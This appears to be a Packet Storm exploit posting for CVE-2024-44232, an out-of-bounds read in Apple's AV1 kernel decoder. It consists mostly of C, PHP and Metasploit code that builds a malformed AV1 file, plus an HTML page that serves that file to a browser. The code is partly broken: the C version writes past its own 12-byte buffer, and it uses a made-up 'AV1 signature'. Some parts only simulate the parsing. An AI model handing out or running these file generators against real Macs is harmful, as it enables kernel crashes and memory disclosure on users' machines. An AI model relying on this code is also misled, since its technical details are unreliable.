Share
## https://sploitus.com/exploit?id=PACKETSTORM:212319
=============================================================================================================================================
| # Title : macOS Sonoma 14.5 potential kernel crash |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : System builtβin component. No standalone download available. |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/202851/ & CVE-2024-44232
[+] Summary :
The vulnerability resides in the AV1_Syntax::Parse_Header function, where the size of AV1 OBUs (Open Bitstream Units) is parsed incorrectly.
Due to insufficient validation of OBU sizes, a specially crafted AV1 video file can cause the parser to compute an excessively large size value. When this malformed size is later used during parsing, it can trigger an Out-of-Bounds Read.
This flaw is tracked as CVE-2024-44232, a critical out-of-bounds read vulnerability in Appleβs hardware-accelerated AppleAVD AV1 decoding kernel extension.
The issue affects macOS systems equipped with hardware AV1 decoder support.
[+] Discovered by Google Project Zero, the vulnerability may lead to:
Kernel memory disclosure, or Kernel crashes (DoS)
simply by processing a malicious AV1 video file.
[+] POC :
for php : php poc.php
Makefile for C PoC
makefile
# Makefile for CVE-2024-44232 PoC
CC = gcc
CFLAGS = -Wall -Wextra -std=c99
TARGET = av1_poc
SRC = av1_poc.c
all: $(TARGET)
$(TARGET): $(SRC)
$(CC) $(CFLAGS) -o $(TARGET) $(SRC)
clean:
rm -f $(TARGET) *.av1
test: $(TARGET)
./$(TARGET)
.PHONY: all clean test
π§ Compilation and Usage
For C Version:
bash
gcc -Wall -o av1_poc av1_poc.c
./av1_poc
************************
C Language PoC :
************************
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
// Basic OBU structure
typedef struct {
uint8_t type;
uint8_t extension_flag;
uint8_t has_size;
uint64_t size;
} obu_header_t;
// Create malformed AV1 with oversized OBU
void create_malformed_av1(uint8_t **buffer, size_t *size) {
// AV1 basic signature
uint8_t av1_signature[] = {0x81, 0x00, 0x00, 0x00};
// OBU with extremely large size
obu_header_t obu;
obu.type = 0x0F; // Unknown/Padding type (triggers vulnerable path)
obu.extension_flag = 0x00;
obu.has_size = 0x01;
obu.size = 0xFFFFFFFFFFFFFFFF; // Maximum size
// Calculate total size
size_t header_size = sizeof(av1_signature);
size_t obu_size = 4 + 8; // OBU header + encoded OBU size
*size = header_size + obu_size;
// Allocate memory
*buffer = (uint8_t*)malloc(*size);
if (!*buffer) {
printf("Memory allocation failed\n");
return;
}
// Copy signature
memcpy(*buffer, av1_signature, sizeof(av1_signature));
// Build OBU header
uint8_t *ptr = *buffer + header_size;
// Type and extension field
*ptr++ = (obu.type << 3) | (obu.extension_flag << 2) | (obu.has_size << 1);
// Encoded OBU size (LEB128) - very large size
uint8_t leb128[] = {
0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x7F // Stop byte
};
memcpy(ptr, leb128, sizeof(leb128));
ptr += sizeof(leb128);
printf("Malformed AV1 file created:\n");
printf("- Total size: %zu bytes\n", *size);
printf("- OBU type: 0x%02X (Unknown)\n", obu.type);
printf("- OBU size: %llu (extremely large)\n", obu.size);
}
// Simulate vulnerable OBU parsing
void simulate_obu_parsing(const uint8_t *data, size_t data_size) {
printf("\nSimulating OBU parsing...\n");
const uint8_t *ptr = data + 4; // Skip AV1 signature
const uint8_t *end = data + data_size;
if (ptr >= end) {
printf("Insufficient data\n");
return;
}
// Read OBU header
uint8_t obu_header = *ptr++;
uint8_t obu_type = (obu_header >> 3) & 0x1F;
uint8_t extension_flag = (obu_header >> 2) & 0x1;
uint8_t has_size = (obu_header >> 1) & 0x1;
printf("OBU Header:\n");
printf("- Type: 0x%02X\n", obu_type);
printf("- Extension flag: %d\n", extension_flag);
printf("- Has size: %d\n", has_size);
if (!has_size) {
printf("No OBU size field\n");
return;
}
// Simulate reading OBU size (vulnerable code)
uint64_t obu_size = 0;
int shift = 0;
int bytes_read = 0;
int max_bytes = 8;
printf("Reading OBU size (LEB128):\n");
while (bytes_read < max_bytes) {
if (ptr >= end) {
printf("End of data while reading size\n");
break;
}
uint8_t byte = *ptr++;
bytes_read++;
obu_size |= (uint64_t)(byte & 0x7F) << shift;
printf(" Byte %d: 0x%02X, Current size: %llu\n",
bytes_read, byte, obu_size);
if ((byte & 0x80) == 0) {
break;
}
shift += 7;
if (bytes_read == max_bytes) {
printf(" Reached max bytes\n");
break;
}
}
printf("Final OBU size: %llu\n", obu_size);
printf("Remaining buffer bytes: %ld\n", end - ptr);
// Simulate the vulnerable out-of-bounds read
if (obu_type == 0x0F) { // Unknown/Padding type
printf("\nTriggering unknown OBU path...\n");
// This simulates the vulnerable code:
// while ( v31 + v83 )
// {
// if ( v8[v36 - 1 + v31 + v37 + v22 + v83--] )
size_t remaining_data = end - ptr;
if (obu_size > remaining_data) {
printf("β POTENTIAL OUT-OF-BOUNDS READ!\n");
printf("β OBU requests %llu bytes but only %zu bytes available\n",
obu_size, remaining_data);
printf("β Difference: %lld bytes beyond bounds\n",
obu_size - remaining_data);
} else {
printf("Sufficient data for OBU\n");
}
}
}
// Main test cycle
int main() {
printf("=== CVE-2024-44232 PoC - AppleAVD OOB Read ===\n");
printf("Out-of-bounds read in AV1 decoding\n\n");
uint8_t *malformed_av1 = NULL;
size_t file_size = 0;
// Create malformed AV1 file
create_malformed_av1(&malformed_av1, &file_size);
if (malformed_av1) {
// Simulate vulnerable processing
simulate_obu_parsing(malformed_av1, file_size);
// Cleanup
free(malformed_av1);
}
printf("\n=== Test completed ===\n");
return 0;
}
-********************
PHP PoC
-**/*/*/*/*/*/*/*/*/*/
<?php
/**
* CVE-2024-44232 PoC - AppleAVD Out-of-Bounds Read
* PHP malformed AV1 file generator
* by indoushka
*/
class AV1MalformedGenerator {
private $debug = true;
public function log($message) {
if ($this->debug) {
echo "[INFO] " . $message . "\n";
}
}
public function generateMalformedAV1() {
$this->log("Generating malformed AV1 file for CVE-2024-44232");
// AV1 signature
$av1_signature = "\x81\x00\x00\x00";
// Create OBU with huge size
$obu_header = $this->createObuHeader(0x0F, false, true); // Unknown type
// Create oversized LEB128
$leb128_size = $this->createLargeLeb128(0x7FFFFFFFFFFFFFFF);
// Build the data
$malformed_data = $av1_signature . $obu_header . $leb128_size;
$this->log("Malformed data generated:");
$this->log(" - Total size: " . strlen($malformed_data) . " bytes");
$this->log(" - OBU type: 0x0F (Unknown)");
$this->log(" - OBU size: extremely large");
return $malformed_data;
}
private function createObuHeader($type, $extension_flag, $has_size) {
$header = ($type << 3) | ($extension_flag << 2) | ($has_size << 1);
return chr($header);
}
private function createLargeLeb128($size) {
$leb128 = "";
$value = $size;
do {
$byte = $value & 0x7F;
$value >>= 7;
if ($value != 0) {
$byte |= 0x80;
}
$leb128 .= chr($byte);
} while ($value != 0);
// Add extra bytes to make size huge
while (strlen($leb128) < 10) {
$leb128 .= chr(0xFF);
}
$leb128 .= chr(0x7F); // Stop byte
$this->log("Created LEB128 size: " . strlen($leb128) . " bytes");
return $leb128;
}
public function saveToFile($filename = "malformed.av1") {
$data = $this->generateMalformedAV1();
if (file_put_contents($filename, $data)) {
$this->log("File saved as: " . $filename);
$this->analyzeFile($filename);
return true;
} else {
$this->log("Failed to save file");
return false;
}
}
private function analyzeFile($filename) {
$data = file_get_contents($filename);
$this->log("\nFile analysis:");
$this->log("Size: " . strlen($data) . " bytes");
$this->log("First bytes: " . bin2hex(substr($data, 0, 16)));
// Simulate vulnerable parsing
$this->simulateVulnerableParsing($data);
}
private function simulateVulnerableParsing($data) {
$this->log("\nSimulating vulnerable parsing:");
if (strlen($data) < 5) {
$this->log("Insufficient data");
return;
}
$ptr = 4; // Skip signature
$obu_header = ord($data[$ptr++]);
$type = ($obu_header >> 3) & 0x1F;
$has_size = ($obu_header >> 1) & 0x1;
$this->log("OBU header: 0x" . dechex($obu_header));
$this->log("Type: 0x" . dechex($type));
$this->log("Has size: " . $has_size);
if ($has_size) {
$obu_size = 0;
$shift = 0;
$bytes_read = 0;
while ($bytes_read < 10 && $ptr < strlen($data)) {
$byte = ord($data[$ptr++]);
$bytes_read++;
$obu_size |= ($byte & 0x7F) << $shift;
if (($byte & 0x80) == 0) {
break;
}
$shift += 7;
}
$this->log("Parsed size: " . $obu_size);
$this->log("Remaining bytes: " . (strlen($data) - $ptr));
if ($obu_size > (strlen($data) - $ptr)) {
$this->log("β οΈ POTENTIAL OUT-OF-BOUNDS READ!");
$this->log("β οΈ Requested: " . $obu_size . " bytes");
$this->log("β οΈ Available: " . (strlen($data) - $ptr) . " bytes");
}
}
}
}
// Usage
if (php_sapi_name() === 'cli') {
$generator = new AV1MalformedGenerator();
if (isset($argv[1])) {
$filename = $argv[1];
} else {
$filename = "cve_2024_44232_poc.av1";
}
$generator->saveToFile($filename);
echo "\n=== Test file generated ===\n";
echo "Use this file to test the vulnerability on macOS systems\n";
echo "with AppleAVD extension and hardware AV1 decoder support\n";
}
?>
***********************
Metasploit Module
***********************
##
# Metasploit module for CVE-2024-44232
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'AppleAVD AV1 OBU Out-of-Bounds Read',
'Description' => %q{
This module generates a malformed AV1 file that triggers
an out-of-bounds read in AppleAVD kernel extension.
CVE-2024-44232.
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-44232'],
['URL', 'https://googleprojectzero.blogspot.com/']
],
'DisclosureDate' => '2024-07-24'
))
register_options([
OptString.new('FILENAME', [true, 'The output filename', 'malformed.av1'])
])
end
def run
# AV1 signature
av1_signature = "\x81\x00\x00\x00"
# OBU header with unknown type
obu_header = create_obu_header(0x0F, false, true)
# Large LEB128 size
leb128_size = create_large_leb128(0x7FFFFFFFFFFFFFFF)
# Build the file
malformed_data = av1_signature + obu_header + leb128_size
print_status("Creating malformed AV1 file...")
print_status("Total size: #{malformed_data.length} bytes")
print_status("OBU type: 0x0F (Unknown)")
print_status("Large OBU size to trigger OOB read")
file_create(malformed_data)
print_good("Malformed AV1 file created: #{datastore['FILENAME']}")
end
def create_obu_header(type, extension_flag, has_size)
header = (type << 3) | (extension_flag ? 1 << 2 : 0) | (has_size ? 1 << 1 : 0)
[header].pack('C')
end
def create_large_leb128(size)
leb128 = ""
value = size
begin
byte = value & 0x7F
value >>= 7
if value != 0
byte |= 0x80
end
leb128 << [byte].pack('C')
end while value != 0
# Make the size larger
while leb128.length < 10
leb128 << "\xFF"
end
leb128 << "\x7F"
leb128
end
end
**************************
HTML Test Page
////////*****************
<!DOCTYPE html>
<html>
<head>
<title>CVE-2024-44232 Test</title>
</head>
<body>
<h1>indoushka-AppleAVD Vulnerability Test Page</h1>
<video id="testVideo" width="320" height="240" controls>
<source src="malformed.av1" type="video/av1">
Browser does not support AV1.
</video>
<script>
// Try to load the malformed video
const video = document.getElementById('testVideo');
video.addEventListener('error', function(e) {
console.log('Video loading error:', e);
document.getElementById('status').innerHTML =
'Error detected - vulnerability may have been triggered';
});
video.addEventListener('load', function(e) {
document.getElementById('status').innerHTML =
'Video loaded successfully';
});
</script>
<div id="status">Preparing...</div>
<div id="info">
<p>This is a test for CVE-2024-44232 in AppleAVD</p>
<p>On macOS systems with hardware AV1 decoder support</p>
</div>
</body>
</html>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================